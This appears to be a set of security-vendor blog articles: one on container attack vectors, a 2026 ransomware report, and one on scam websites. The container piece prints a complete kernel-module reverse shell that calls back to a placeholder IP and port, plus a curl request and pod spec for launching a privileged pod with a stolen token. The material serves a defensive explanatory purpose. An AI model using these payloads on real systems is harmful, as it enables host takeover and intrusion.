Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

• Exploiting vulnerabilities in the host system and container runtime components
• Malicious activity inside a compromised container
• Container escape followed by host compromise
• Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
• Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

• CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
• CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
• CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

• User and service credentials
• API keys
• Access tokens
• SSH keys
• Environment variables containing secrets
• Kubernetes ServiceAccount tokens
• Configuration files
• Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.

Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.

With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.

Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:

• New families continue to emerge, adopting post-quantum cryptography ciphers.
• As ransom payments drop, some groups implement encryptionless extortion attacks.
• In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.

Ransomware attacks decline but remain a major threat

According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.

Percentage of organizations affected by ransomware attacks by region, 2025 (download)

Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.

The continued rise of EDR killers and defense evasion tooling

In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.

Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.

Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.

The appearance of new families adopting post-quantum cryptography

We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.

One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.

Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.

The shift to encryptionless extortion

In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.

By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.

For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.

Industrialization of initial access (Access-as-a-Service)

The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.

This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.

The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.

The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.

Ransomware developments on the dark web

Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.

Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves

Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.

The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.

Law enforcement actions

Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.

Top ransomware groups in 2025

RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.

Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.

Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.

Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.

DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.

New actors in 2026

While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.

The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.

The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:

• Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
• MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
• DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
• NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
• Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
• Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
• Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.

Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.

Conclusion and protection recommendations

Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.

To resist the evolving threat, Kaspersky recommends organizations:

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.

Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.

Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.

Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.

Executive summary

• A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
• Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
• According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
• Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
• Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.

Introduction

The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.

Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.

Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.

The dangers of shady websites

One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.

Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.

Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.

Common types of suspicious sites

Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.

It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.

Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.

Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.

